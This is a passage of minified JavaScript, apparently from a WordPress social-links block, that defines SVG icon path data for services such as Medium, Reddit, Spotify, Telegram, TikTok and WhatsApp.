5.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"}))},{name:"medium",attributes:{service:"medium"},title:"Medium",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"}))},{name:"patreon",attributes:{service:"patreon"},title:"Patreon",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 569 546",version:"1.1"},(0,$e.createElement)(Ue.Circle,{cx:"363",cy:"205",r:"205"}),(0,$e.createElement)(Ue.Rect,{width:"100",height:"546",x:"0",y:"0"}))},{name:"pinterest",attributes:{service:"pinterest"},title:"Pinterest",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"}))},{name:"pocket",attributes:{service:"pocket"},title:"Pocket",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"}))},{name:"reddit",attributes:{service:"reddit"},title:"Reddit",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"}))},{name:"skype",attributes:{service:"skype"},title:"Skype",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"}))},{name:"snapchat",attributes:{service:"snapchat"},title:"Snapchat",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"}))},{name:"soundcloud",attributes:{service:"soundcloud"},title:"SoundCloud",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"}))},{name:"spotify",attributes:{service:"spotify"},title:"Spotify",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"}))},{name:"telegram",attributes:{service:"telegram"},title:"Telegram",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 128 128",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z"}))},{name:"tiktok",attributes:{service:"tiktok"},title:"TikTok",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 32 32",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z"}))},{name:"tumblr",attributes:{service:"tumblr"},title:"Tumblr",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z"}))},{name:"twitch",attributes:{service:"twitch"},title:"Twitch",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"}))},{name:"twitter",attributes:{service:"twitter"},title:"Twitter",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"}))},{name:"vimeo",attributes:{service:"vimeo"},title:"Vimeo",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"}))},{name:"vk",attributes:{service:"vk"},title:"VK",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"}))},{name:"whatsapp",attributes:{service:"whatsapp"},title:"WhatsApp",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 